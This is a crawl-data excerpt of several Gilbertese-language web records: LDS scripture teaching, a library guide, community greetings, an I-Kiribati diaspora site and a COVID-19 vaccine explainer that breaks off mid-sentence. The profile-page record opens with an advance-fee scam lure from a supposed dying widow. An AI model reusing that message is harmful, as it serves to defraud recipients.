Moomon a bwanin raoi ao a kamwaiti kanoaia i bon irouia. Te Baibara ae te King James ae boretiaki n te LDS n te Ingiriti ao Ana Boki Moomon iai kibuia aika a boraoi aika a kona n taraaki bwa bwaai n ibuobuoki ibukin te reirei are e karaoa ana kai Iuta (n te Baibara) ao ana kai Iotebwa (n Ana Boki Moomon) karikia n ti teuana inanon baira (tara Etekiera 37:15–17; tara naba 1 Nibwaai 13:34–41; 2 Nibwaai 3:12; 29:8). Ko na moanibwaia mwakoron taeka n Ana Boki Moomon ngkana ko anga reirei, ma kaotia naba bwa e kanga Ana Boki Moomon ao te Baibara n reireiakin moan tuua n te euangkerio aika ti te arona. Kabongana Ana Boki Moomon ni kakoaua ao ni kabwarabwarai mwakoron taeka n te Baibara. N aron te katooto, e taekinaki n te Nu Tetemanti bwa e bwabetitoaki Kristo ni \"kakoroa bukin te raoiroi ni kabane\" (Mataio 3:14–15). E kabwarabwaraaki n Ana Boki Moomon bwa tera nanon kakoroan bukin te raoiroi ni kabane (tara 2 Nibwaai 31:5–9). Ngkana ko kabongana Ana Boki Moomon ao te Baibara bwa raon booki ni koroboki aika tabu, a na tokanikai iaon te kauntaeka ma ni kaeti reirei aika kaairua (tara 2 Nibwaai 3:12). E reireinira te Baibara bwaai aikai ibukin tuan te kakoaua: \"A na kamatoaki taeka ni kabane ni wiia taan kaotioti aika uoman ke teniman\" (2 I-Korinto 13:1). A boraoi ma te tua aei, booki aika uoua aika Ana Boki Moomon ao te Baibara ni kakoaua ibukin Iesu Kristo.\nE Katikiia Aomata Ana Boki Moomon ni Kaniia Riki nakon te Atua[edit | edit source]\nNi kaineti ma Ana Boki Moomon, e taku te Burabeti ae Iotebwa Timiti bwa \"e kona ni kaan riki te aomata nakon te Atua man maiuakinan ana tua nako, nakon booki riki tabeua\" (kabwarabwaraan Ana Boki Moomon). Ana Boki Moomon bon te bwai are e kairiira nakon te koaua ao te kaotioti. Kabongaana Ana Boki Moomon ni buokiia aomata ni kona ni karekea te namakin n tamnei, ai moara riki te kakoaua mairoun te Tamnei ae Raoiroi bwa e koaua te boki. Man kaoaia aomata n taainako bwa a na maiuakin moan tuua ake a kona ni kuneaki inanon Ana Boki Moomon, ko buokiia iai ni karikirakea onimakinan Iesu Kristo ao ni katikiia ni kaaniia riki te Atua. E katanoata Beretitenti Gordon B. Hinckley bwa: \"Te koraki ake a tia ni wareka [Ana Boki Moomon] a tataro bwa, a kaubwai ke a kainnano, a wanawana ke aki wanawana, a tia ni rikirake iaan mwaakana. . . . N akea te nanououa ao I berita nakoim bwa ngkana ko berita ma te tataro mwaaka ni wareka Ana Boki Moomon, n aki tabe bwa mwaitira te tai are ko a tia ni warekia iai, e na roko nako nanom . . . Tamnein te Atua. E na roko te kaeka ae ko kakorakoraaki nako iai bwa ko na ongeaba nakon ana tua nako, ao e na reke te koaua ae korakora riki ibukin aron koauan raoi Natin te Atua\" (\"The Power of the Book of Mormon,\" Ensign, Tuun 1988, 6).","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Ana_Boki_Moomon","date":"2021-09-26T17:10:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057882.56\/warc\/CC-MAIN-20210926144658-20210926174658-00250.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":981,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera te Nu Tetemanti?[edit | edit source]\nInanon ririki tabeua imwiin maten Iesu, te taeka ae \"Nu Tetemanti\" e na aki kaineti nakon ikotan booki n rongorongon maiun te Uea ao matena ma e na kaineti riki nakon te bwai are E taekinna nakoia Ana reirei n tairikin te Kabanea ni Katairiki: \"Bwa rarau aei ae raraan te berita nabangkai, ae kawaawaeaki i bukiia aomata aika bati bwa bwaini kabwaraan aia bure.\" (Mataio 26:28; e katuruturuaki taekana). Te taetae n Erene are e rairaki nakon te \"nu tetemanti\" e bon kaineti nakon te berita ae tabu, te berita ae e boou are e anganiira te Tia Kamaiu rinanon ana Mwakuri ni Kamaiu. Koroboki ake a kawakinaki n te Bwaibwara ao ake a kaineti nakon kabwarabwaraan te Nu Tetemanti, rongorongo ake a koreaki n te bai, ao reirei n taekan te berita ae tabu ae boou imarenan te Uea ao Ana Botanaomata.\nKoroboki ake a kawakinaki n te Nu Tetemanti a boboto iaon kakaokoron iteran ana reirei te Tia Kamaiu. Te Nu Tetemanti e moanaki ma te Euangkerio, te taeka are nanona te \"rongorongo ae raoiroi,\" are e kaineti nakon te maiu, ana mwakuri, ao nakoan Iesu Kristo ae moan te kakawaki. Te Nu Tetemanti e koreaki naba inanona rongorongon ana mwakuri te moan mitinare n te Ekaretia (ana boki Mwakuri); reeta mai irouia taan kairiiri rimoa, n aron Betero ao Bauro, are e kauringiia Kiritian n taai akekei (ake a aranaki naba bwa Aomata aika Itiaki) bwa a na kokoaua nakon aia onimaki; ana koaua (Ebera); ao te toki (Kaotioti) are e berita iai te Uea bwa e na manga oki ni boong aika kaitira. Ni katoaia taan koroboki ao bon iai aia taratara ake a anga, ao a koroboki n tatabemaniia ni kaineti nakon te tia ongora ae onoti n aia iango nakon kataakin kanakoan rongorongo ake a bua man rongorongon rimoa ake a koreaki. I nuukan te kaaua n tienture a.d., booki ake 27 ake a korei inanona ana berita ae tabu te Uea ae boou a bobotaki ao ni baireaki n aron are a kona n nooraki n taai aikai.\nE kanga te Nu Tetemanti ni Bwatinaki Rikaaki Nakoira?[edit | edit source]\nMai ibuakoia kurubu aika a mwaiti irouia ana reirei, Iesu e weteia 12 mwaane bwa ana Abotoro. Mwaane ake a ririmwiina rinanon Ana mwakuri, a uota te rawawata ma Ngaia, ao a kukurei naba n tokanikai ao a kaonaki n ana mwakuri te Tamnei. Imwiin maten Iesu, Abotoro, n reitaki ma taan ririmwiina aika a kakaonimaki ake tabeman, a waaki ni korei bwaai ake a rinanona. Uoua bwaai aika riki ake a kona ni kateirakea nanoia ni kawakin rekooti n rongorongon maiun Iesu: te moan, Ierutarem ao bwakan te tembora inanon baia ana taanga ni buaka Rom a.d. 70. Kauoua, korakoran kiitanan te koaua e a kaman tia ni waaki (tara Mwakuri 20:29–30). Ma ngaia are, mwaitin koroboki n te Nu Tetemanti a koreaki ni buokiia taan onimaki n noori kawaia rinanon te angibuaka ao kakaitara inanon aia bong.\nN tarakin mwakuri ake a tia n rinanona, ti kona n reiakin bwaai ake a kaitarai n tain te kanganga ao aron te rongorongo ae raoiroi n riki bwa te mwaaka ae teimatoa inanon te inimaki ni kaitaraan korakoran kitanan te koaua.\nNi uakaan ma banen te moan tienture, ni kabane koroboki aika a kawakinaki n te Nu Tetemanti a bane n tia ao a kabutaki ni mwaangan nako te Ekaretia. Taan kawakin koroboki n taai akekei a karaoi katoton koroboki iaon te bwai ni koroboki ae ai aron te beeba are e kabonganaaki ngkoa irouia kain Aikubita ae karaoaki man te aroka ao imwiina riki iaon kunnin te man are e kabonganaaki naba n te koroboki, ma bon tii tabeua katooto aika a tauraoi. Membwa n te Ekaretia a boboti booki ake a kona n reke irouia ao ni wareki ao ni kamatebwaia ana taeka te Uea ao Abotoro. Teuana te bwai ae e rangi n ataaki te kanganga n tibwatibwaan koroboki aika a tabu bon bwainikirinaia Kiritian iroun te embera mai Rom Diocletian imwiin maten te Tia Kamaiu 303. E tua bwa a na kabuekaki aia boki Kiritian aika a tabu ao e kairoroia Kiritian bwa a na anga karea nakoia atua ni beekan. Mwaitiia aomata aika a kakaonimaki a karabai booki aika a tabu inanon ririki akanne ni bwainikiriinaki. Imwiina, ngke te moan embera ni Kiritian, Constantine, e karekei katooto aika a boou ni koroboki aika a tabu bwa a na karaoaki, a na taan rabakau a kona ni manga karekei booki ake a tia ni kabonganaaki ni mwaanga imwain ana tautaeka Diocletian. Ara boki are e boretiaki n te Nu Tetemanti a koreaki man katooton te Bwaibwara are e karaoaki n ana bong Constantine ao ai ngaia are aomata aika a anganako maiuia ni kamanoi berita aika a tabu aika boou mai iroun te Uea.\nE aki maan imwiin Constantine ngke e a tia ni kaota te Nu Tetemanti bwa e na katotongaki ao ni kabutaki, booki ake a karika ara Bwaibwara ae ngkai e riki ni baireaki n aroia ae ngkai. Te oota aio e ira te baeten are e kateaki man te O Tetemanti. Te Nu Tetemanti e kanoaaki n te Tua (te Euangkerio), rongorongoia Kiritian (Mwakuri), ao Burabeti (I-Rom ni karokoa te Kaotioti). Ni kauoua Te O Tetemanti ao Te Nu Tetemanti a toki n te berita are e na manga oki te Uea (Maraki ao Te Kaotioti). Baireakin nneia mwakuri ni burabeti aikai a katuruturua te kataninga n taraakin taai aika ana roko ibukin te kamaiuaki ao kaotioti n taai aika a na roko.\nAntai ae e korea te Nu Tetemanti?[edit | edit source]\nTaan koroboki n tatabemaniia nako n te Nu Tetemanti a koroboki man aia taratara aika a kakaokoro iaon ana mwakuri ni kamaiu Iesu Kristo. Uoua man Euangkerio ae a koreaki irouia Abotoro: Mataio ao Ioane. Taan kakoaua n abotoro aikai a katauraoa te kakaoaua are a noria ni mataia ni maiun Iesu. Uoman riki taan iriira te Uea a korei naba Euangkerio: Mareko ao Ruka, ake a kakoaua nakon te bwai are a tia n namakinna ao n ongo. Mwaane aika uoman aikai a mena n te tai ae ti teuana n raona Bauro (tara Mwakuri 12:25; 2 Timoteo 4:11) ao e kaotii iteran mwaitiia aomata aika a itiaki are e tabe n rikirake ake a maeka i tinanikun Iutaia ao ake a tuai man ataa te Uea inanon maiuna. N onea mwiin anne, aia rongorongo e katauraoi kakaoaua aika ota raoi Iroun teuare a kakoaua.\nAna reta Bauro a kona ni katautauaki bwa moan koroboki inanon te Nu Tetemanti, e ngae ngke aki bane ni koreaki n te tai ae ti teuana. Ana kakoaua a reke man bwaai ake e rinanona ngke e mitinare, man kaotioti aika a mwaiti ao korakora (tara Mwakuri 9:1–6; 2 I-Korinto 12:1–7), ao rinanon reitakina ma Betero ao tabeman (tara I-Karatia 1:18–19). E koroboki n te aro ae bati ni kaineti nakon karekean te raoi inanon mwaanga, ma n tabeua te tai e koroboki nakoia aika bon raraona. (Timoteo ao Tito). N ana reta teuana Bauro e tuanga te tia kawakina te toro bwa e na butimwaea te toro anne ar e e birinako are e kaitibo ma ngaia Bauro ngke a rin n te karabuti (Biremon). Te katei, bokin Ebera e anganaki Bauro, e ngae n anne aron kabwarabwaraana are e koreia ibukina ae ngaia te tia koreia e aki kaotaki. I tinanikun anne, te boki e kakoaua arora are ti kona n ninikoria nakon te Uea rinanona te onimaki. N ikotaki inanon te Nu Tetemanti imwiin ana reta Bauro, Ebera bon te marooro ae koreaki iaon karekean te onimaki n tain kaitaraan te kanganga.\nAna kororeta Iakobo ae kimototo are e koreaki naba n taai akekei ao iai naba inanona kakoaua nakon ana reirei Iesu man te Reirei iaon te Maunga ake a uotaki n te maroro ao ni kaokoroaki man korean ana Euangkerio Mataio (tara Iakobwa 1:13; 4:12; 5:12). Iakobwa, tarin te Uea ae uarereke riki, e oota bwa ngaia ae korea te reta aei. E tekeraoi bwa e ataia ao e noora te Tia Kamaiu ni manga uti (tara 1 I-Korinto 15:7) ao e karaoa te nakoa ae moan te kakawaki ni bwaai aika a mwaiti n rongorongon te Ekaretia (tara Mwakuri 15:13–29).\nIai naba inanon te Nu Tetemanti ana reta te Abotoro are Betero ao teniua ma iroun te Abotoro are Ioane. A uaia ni butiia Kritian bwa a na kakaonimaki; riki Betero are e tabeaianga ibukin aia kakaonimaki inanon aia tai ni kataaki.\nIuta bon teuana ma ibuakon booki aika a tibwa koreaki ake a koreaki n te Nu Tetemanti. N aron Iakobwa, te boki aei e bon koreaki naba iroun temanna tarin te Uea (\"Iuta\" ni Mareko 6:3). Iuta e koroboki ni kataia ni kakerikaka kitanan te koaua inanon mwaanga nako.\nNi kabaneana, te Nu Tetemanti e toki n te kaotioti nakon te Abotoro Ioane, are e rawei kaotioti n okin te Uea inanon te mimitong ni kaira Ana tautaeka n te mereniam. Te kaotioti anne e kabwarabwara raoi te uneaki imarenan te raoiroi ao te buakaka. Mwaitin te mwakoro e tabe ma taai ake a na roko nakon Ioane, n ikotaki ma bwaai ni boong aika kairita—ara bong.\nIbukin Antai Ae e Koreaki Nakoia te Nu Tetemanti?[edit | edit source]\nIbukina bwa te Nu Tetemanti bon te berita ae tabu ae boou imarenan te Uea ao naake iai aia onimaki Irouna, booki a kananonaaki ibukiia ni kabane naake a ukoukoria ni kan ataia, bwa ni boong aikai ke n taai ake mai imwaina. Ni bon oina, te tia korea te Nu Tetemanti e korei taeka ake a kona ni waekoa ni kabonganaaki ni mwaangan te Ekaretia n aia tai, ma te kantaninga are a kawakin rekooti aika a rangi ni kakawaki n rongorongoia aomata. Ioane, te katooto, e kaotii ana koroboki bwa kakoaua: \"Ma a koreaki aikai, bwa kam aonga ni kakoaua bwa Iesu bon te Kristo, Natin te Atua; ao ngkai kam onimakinna, ao e na reke iroumi te maiu inanon arana\" (Ioane 20:31). Tabeman, n aron Ruka, e koroboki n te kantaninga are e na riki bwa te rongorongo:\n\"Ngkai a bati aomata ake a kata te koroi taekani baike a boni kakoauaaki i buakora,\n\"N ai aron are a tuangiira iai uake a bon norii mai moana, ake taan taekina ana taeka te Atua;\n\"Ao ngai, ngkai I kakorakoraai n ukoukori bwaai ni kabane mai moana, ao I taku bwa e riai bwa N na koroi naba ni kaeti nakoim\" (Ruka 1:1–3).\nKiritian n taai akekei a roko man reeti aika a kakaokoro, tabeman a roko man te utu n Iutaia, ao tabeman a tia ni kaikawaaki inanon mwengaia Tientaire, ao bon tabeman a rangi ni uarereke ataakin te aro inanon maiuia imwain ae a bwabetitoaki. Ngaiia ake a karekea tamnein te tirotaam ni kakaokoron reeti n te kurubu irouia Aomata aika Itikai. Ai ngaia are, aia iniinimaki a kona ni kaotaki nakoira reirei aika a korakora n aron ana kanga mwaanga n n inimaki ngke a rangi ni uarereke ao e kanga aron reken te kamaiu n aia taeka abotoro ao burabeti.\nTe Kakoaua ibukin Boong Aikai[edit | edit source]\nTe Nu Tetemanti e kaotia bwa n tain taai n aki rau, ngke tabeman a na bon aki ongo nakon te wewete n te euangkerio, bon iai te kamanoaki ibukiia ake \"a botumwaaka n reirei irouia abotoro ma n raoraonia n ibuobuoki, ma na tabeutai berena, ma n tataro.\" (Mwakuri 2:42). Katooto tabeua a reireiniira aroia aika raoiroi ni kataaki (tara 1 I-Korinto 10:13) ao aron oin raoi te rongorongo n te euangkerio e bon beebete ni boong aikai n arona 2,000 te ririki n nako: \"Aio te aro ni Kiritian ae itiaki ae aki kamwara I matan te Atua ae te Tama, te kakawariia akana a mate tamaia ma aine aika a mate buia, ngkai a rawawata, ao ni kakawakina naba ngaia, bwa e kawa ni bareka ni bwain aon te aba\" (Iakobo 1:27). N ai aron te Doctrine ao Covenants, are e kaota iai ana koaua te Burabeti Iotebwa Timiti \"bwa e maiu!\" (D&C 76:22), te Nu Tetemanti e kaota naba ana koaua ae titebo bwa akea kaain te ruanimate ni moaningabongin te Itita: \"Akea ikai; bwa E a uti\" (Mataio 28:6).","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Te_Nu_Tetemanti","date":"2021-09-24T19:31:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057564.48\/warc\/CC-MAIN-20210924171348-20210924201348-00485.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2024,"character_repetition_ratio":0.063,"word_repetition_ratio":0.001,"special_characters_ratio":0.222,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaboganan te Nen-boki\nTe nan Nen-boki ni kabana i Wellington, boki, CDs ao DVDs, bon iai te taibora ao te kainteketeka iai.\nMaitin te nan ni boki a kona ni tangoaki i nanon 4 te wiki, ao CDs, magazines ao DVDs a kona i nanon teuana te wiki.\nTangoakin baiKo kona ni reitaki i bukin ((more information on joining)) karekea am kaati. E inaomata nakoia aomata aika titiku i Wellington ao natia.\nKo kona ki kabogana am kaati ni tangoia bai mai nanon Nen-boki ni kabana.\nNkana ko mamaeka i tinanikun Wellington (nai aron Hutt City, Porirua, Paraparaumu) ko kona ni kaina ao ni tangoia mai roura. (more information on joining if you live outside Wellington city).\n|Nkana ko tangoia te bai teuana, ao kona aganaki te beba ni kakoaua. Ao ko riai ni kaokia i main taina. Nkana ko remwi ko kona ni katuaeaki ni te mane. Tara aio - (more information on library charges)|\nNkana e bua ke uruaki te boki, ko riai ni kaongoa te tia makuri ni te Nen-boki. E riai ni kaboaki tuam, ngkana ko aki kona uataki nakon te kambane Ni Katua.\n\n\nKakaea Rongorongo tabweuaTan makuri n te Nen-boki a tauraoi ni buokiko. Ko kona ni titiraki i bukin te boki te magazine, CD nke te DVD ao rongorongo riki tabweua. Te ibwobwoki aio e akea boona.\nTe kataloka i bukin te Nen-boki e reke i ai bai ni kabana. Ko kona nako n aio - Catalogue search here.\nBubutiNkana e aki reke am boki ba e tangoaki i roun te mana, ko kona ni bubuti ba ko tangiria. E iai boona e $2 i bukin te ikawai. Taetae nakon te tia makuri i bukin am bubuti.\n|Taitabetai te tia makuri man te Nen-boki ba e tauraoi te boki are ko bubuti ba kona ni roko ni tangoia. Nkana iai te rongorongo e kairua ko riai ni terebon nakon te numba aio (801-4040).|\nKaboouan am tai n tangoi bwaai\nKo konaa ni kabooua am tangoboki ao tabeua riki ni kaananaua taina. Titiraki nakon te tia mwakuri n Te Nen-boki, ke kabooua iaon te internet ngkana ko nora am kaati man te tabo n tangoboki ao nakon www.wcl.govt.nz\/card. Man te rongorongo are e oti ibukin am tangoboki akaunti, ao rinea te bwaoki ma te bwai ae ko tangiria ni kanaanaua taina n tangoaki, ao koteia taona te 'renew items' button – e na oti n te screen te bong are ko na kaokia iai.\nMaanim n tangoa te bwai ke te boki e kaineti ma karinanin taian boki - noria raoi ara borrowing page ibukin tabaninin rongorongona, ke titiraki nakon te tia mwakuri n Te Nen-boki. Ko aki konaa ni kabooua tain te bwai ke te boki ni kaananaua taina ngkana iai ae e a tia ni kabaea tangoana. A kaboaki tangoakin taian DVDs ao tabeua riki ngkana ko na kaananaua taina n tangoia.\nTitiraki nakon te tia mwakuri n Te Nen-boki ibukin bwaninin rongorongo ma kamaataata.\nRongorongo I bukin te Email\nKo kona ni titiraki i bukin bwaai ai ka ko tangiria , bwa e kona ni reke kaekana i aon te email. Ko kona ni kanakoa te rongorongo aio i aon te online form ao ko kona naba ni titiraki nakon te autinbooki ae kaan nako im.\nNen-boki Web-site ao te InternetTe Nen-boki website n te www.wcl.govt.nz ae kona reke iai bai aika maiti.\n|I ai naba free internet machines i nanon Nen-boki ni kabana i Wellington ae kona ni kaboganaki i bukin rongorongon te Tautaeka ao mangana riki tabweua.|\nTe Nen-boki website e kona naba ni reke i ai rongorongo i bukin kawakinan te mwenga, business. Tai tabetai e tangiraki te password ao am Nen-boki kaati, n te aro ba e na reke te bai ae ko tangiria, nai aron South China Morning Post niutibeba.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.wcl.govt.nz\/languages\/kir-s.html","date":"2021-09-17T23:50:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780055808.78\/warc\/CC-MAIN-20210917212307-20210918002307-00003.warc.gz","language":"gil","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.000006914138794}","num_words":625,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I am Mrs. Julie Mewis, an aging widow suffering from long time illness (Esophageal Cancer). I have some important information (charity proposal) for you, May God continue to bless you, Please reply (firstname.lastname@example.org) for more details.\nmauri moa. Ia nang kan ongora iroum, ko mena iaa ngkai, ko taku ba kona ana Nei Baute. Ea tia nroko irarikim ke ko tuai n anaia. Ao a uara ngkai? Ao kato e uara ngkai? koa anganna naba au kamauri nakoina.ao riki tariu ma mwaneu ni kabane.\nIa manga ongora iroum ao tekeraoi ngkami mai ikanne.\nkam mena iaa ngkai Teraa? ko bon mena naba i aussy ke ko mena ngkai i fiji. tia ongora iroum ba antai ae taua te takakaro and merry xmas and happy new year.\ni taku ngkai ba koa mena i fiji.\nia manga ongora iroum.\nko angaa naba au kamauri nakoia natim ao tavale inanon te xmas aei ao riki ngkai e nang manga toki te ririki aio ao e nang manga roko te ririki ae e boou.merry xmas and happy new year to you all.\nMauri naba\nBon akea te news ma ti te runga ae e a waaki ngkai iaon tarawa.Kai ti bon bane ni marurung.Ao ngkami mai ikanne kam uara? ao te reirei naba e nang tikiraoi.Ao e uara te buabeka?\nti ngaia anne mai ikai moa.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/banabanvoice.ning.com\/profile\/BernadetteIeli?xg_source=profiles_memberList","date":"2021-09-27T16:57:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058456.86\/warc\/CC-MAIN-20210927151238-20210927181238-00044.warc.gz","language":"gil","language_score":0.9995263815,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9995263814926147}","num_words":223,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boton te Iango \/ Introduction & Goal\nMauri au koraki ni Kiribati ao Matiare ni bane aika kam maeka iaon Amerika ao ngkami akee kam iangoa te roko ni maeka i Amerika. Imwain ae nna rarangaia nako ni kaotai nakoimi bwa antai ngai, ao nna tibwai moa ma ngkami bwa tera raoi boton te iaong iaon au Ngao n Atatai ao ni Kaongora (website) ae Te Maeka I-Amerika. I kan tibwai ma ngkami bwaai aika iangoi ni kakoroi bukiia nte Ngao n Atatai ao ni Kaongora aio ao tera bonganana nakoira ngaira kain Kiribati ao Kiribati-IMatiare ake a maeka ao ake a iangoa te mwaing ni maeka i Amerika.\nBoton te iango nte Ngao n Atatai ni Kaongora aio (website) bwa tina maroroi kanoan boong ma waaki ake tia tia n rinanoi ao n reirei ma iai ngaira kain Kiribati-IMatiare ake tia maeka i Amerika. Tina tibwai atatai ibukin kaokoron waaki, kaokoron tuua ma katei, kanganga, kabwaia ake ti kaitibo ma ngaai ao ai aron karaoan bwaai ke mwakurian bwaai nako ibukin kakaean reken te waaki ao ai bon te tibwatibwa ibukin atakin bwaai ake ti riai ao ake tiaki riai ni karaoi riki ngaira ake ti irua iaon Amerika.\nTe kantaninga ni barongan te Ngao aio bwa ena riki bwa teuana te anga are ena kona ni buokiira ni karaababai ara atatai ao ni kauarerekei aron kanganga ake tina kona ni kaitibo ma ngaai inanon moan rokora ao inanon maekara iaon Amerika. Ngaia are ia katauraoa am Ngao aio ni bon oin am taetae.\nArau nei Tiemi Maitinnara ao inanon 16 te ririki ni maeka iaon Amerika ao a bon bati waaki ma bwaai aika I a tia n rinanoi inanon maekau ao ai moarara riki ni moan rokou ikai. Waaki aika a kakubanako, bwaai aika a kamimi, reeti n aomata aika kakaokoro ma aia katei ao a bati riki. N angiin te tai ao i taku bwa ia bon kokonaaki naba ao iaki toki ni kangai, \"Ngke arona bwa ia kaman ata arei ao iaki bae ni konaki iai.\" ke n tabetai i kangai, \"E aera ngkai iaki kaman tuangaki aei?\". Kanga titiraki ni kubakuba bwa ngke arona bwa koa kaman atatai iaon bwaai ao tao ena uarereke aron am kanganga ake kona kaitara ma ngaai. Imwiin ara ka 10 n ririki ni maeka ao eang, ea moanna ni uarereke aron kabukanako ma e bon aki naba toki. Riki n taai aikai, Ia noria bwa ea kekerake mwaitin te I-Kiribat-IMatiare ake a mwaing nakomai ao a manga rinanon naba kanganga ake tia tia n rinanoi. Ao ai ngaia are ea koburake iai nanou bwa nnang karaoa te Ngao n Atatai ao ni Kaongora (website) aio bwa buokara ngaira kain Kiribati ke Kiribati-IMatiare ake ti maeka i Amerika ao riki ake a iangoa te mwaing ni maeka i Amerika.\n\"Te kawai ea tia ni kateaki ao ea tia ni kaitiakaki teutana imwaaira, te katamaroa ae bon waaki nako naba ibukimi.\"\nKam rabwa ao au kantaninga bwa kamna kukurei iai ao man kona naba ni manga tibwai iango ke bwaai aika kam rinanoi aika aaki kaoti inanon te Ngao Atatai ao ni Kaongora (website) aio.\nIbukin titiraki ni kan ota ke iango riki tabeua ake kam kan tibwai ibukin te ngao ni kaongora aio, weweteai ikai contact me.\nAo tai mwaninga ni kaota tangiran (Like) ara itera ni bae aio iaon ara Facebook Page","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/te-maeka-i-amerika.com\/","date":"2021-09-19T20:40:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056900.32\/warc\/CC-MAIN-20210919190128-20210919220128-00380.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":560,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kanga ni karaoaki n te tai ae e tawe te iti n totoko ibukin te COVID-19 ao n ataki bwa akea te kanganga iai\nAkea ae e rota aron te ikarekebai n te aonnaba irouia tenan scientists (tan rabakau) ao tautaeka ibukin kabobongan te iti n totoko n aron aei. Aio are e buoka baitin kabobongan karaoan te iti n totoko, kakatai iaona, ao kariaiakana ni kabonganaki n te aonnaba ni kabuta.\nE a tia ni kawaetataki ni kabobongaki karaoan te iti n totoka ma n aki anaki uarereken kawai ibukin rinanoan karaoana ke n aki mutiakinaki manona.\nTan kakae a kabonganai aia atatai iaon taian corona virus ake tabeua ibukin baitin karaoan ao kabobongan te iti n totoko aio.\nA bon rangi tawe ao ni mwaiti tan anganano ibukin kakatai ake a karaoaki ibukin te iti n totoko kioina ngke e bon rianako taekan ao te tabeaianga ibukin te Covid-19. Kakatai tabeua a karaoaki n ti te taina ma tiaki teuana i muin teuana. Are nanona bwa tan rabakau, a baiti n ataia bwa e mwakuri ke e aki te iti n totoko n te tai ae e kimototo - ma ngke arona bwa bon aron are e tataneiai iai te aba ao tao ena nakon namakaina ke tao ririki aron atakin mwakurina.\nA tia naba ni kateaki tabo ni karao bwainaoraki, ibukin kabaitian karaoan te iti n totoko ao kamwaitana tiaki n aron are e kakaraoaki mai imwaina.\nTuoan mwakurina ao kariaiakan kabonganana i New Zealand\nMedsafe To botaki are tabena rinanoan mwakurin ao tanin tenan bwainaoraki i Nutiran. E rinanoi taian bubuti ibukin bwainaoraki aika a bou, ni ikotaki ma iti n totoko, ni kakoua raoi bwa a rinanon kaetieti n te aonnaba ao ana kaetieti Nutiran.\nMedsafe eti kona n anga ana kariaia ibukin kabonganan te iti n totoko i Aotearoa, ngkana e koaua raoi bwa ea tia n rinanon tutuo ao kaetieti aika a matoatoa n te aonnaba ibukin, tanna, mwakurina ao bonganana. Aio bon ti tabo ma kawain rinanoan bwainaoraki riki tabeua n aekan te iti n totoko ibukin te buru (flu).\nAkea kauarerkean kawain karekean te kariaia.\nTe iti n totoko ae te Pfizer ea tia n noraki tamaroan kabonganana irouia aomata n aonnaba aika a riaon te mirion. Ao ae e bon reitinako naba ngkai taran tanna (manona).\nE kanga karaoan te kakatai ibukin te iti n totoko ae Pfizer\nKakatai ake a tia ni karaoaki a kunea bwa te iti n totoko e mwakuri ibukia roro nako, te mwane ao te aine, rikia ma anua aika a kakaokoro, reeti nako ao aomata ake iai aoraki ake a tarataruaki.\nKakae ake a tia ni karaoaki a katerea ae 95% ke 95 n te katebubua mwaitia aomata ake a tia ni itinaki n te iti n totoko, a tan man reken kainikinaean te Covid-19. Are nanona bwa ngkana a bane raoi itim n totoko e na rangi riki ni kerikaki mamaram ngkana e reke iroum te aoraki.\nN kakatai ake a bane n tia ni karoaki ao e kamatebwaiaki te Pfizer iaoia 44,000 te aomata. Iteraia aomata a anganaki te iti n totoko ao iteraia a itinaki n te ran are e taoro teutana (saline) n onea muin te iti. Kain kakatai aikai a kakaokoro rikiaia ao anuaia, aia reeti, aia ririki. mwane ao aine ao mani kakaokoro aorakia ake a tararuaki.\nTe iti n totoko ae Pfizer e rinanon tenua makoro ni kakatai:\n- Makoro 1 ao 2 rinanoan manona ao ana katantan (aron tanna ni kaitara te aoraki i muin te moan ao te kauoua ni iti) ike anganaki iai aomata aika aki rangi ni mwaiti te iti ae e kakaokoro korakorana.\n- Makoro 2 and 3 rinanoan tanin ao mwakurin te iti n totoko ae e riai n reke ni kaitarai kanikinaean te COVID-19, i muin anganakia aomata ake a mwaiti riki uoua te iti n totoko ake a tia ni baireki korakoraia ma marangaia are 21 te bong.\nIbukin karekean te ota ibukin abakin ana tai ni mwakuri ao tanin te iti n totoko, ana tauaki muia kain te kakatai aei ao n tararuaki inanon 2 te ririki i muin aia kauoua ni iti n te 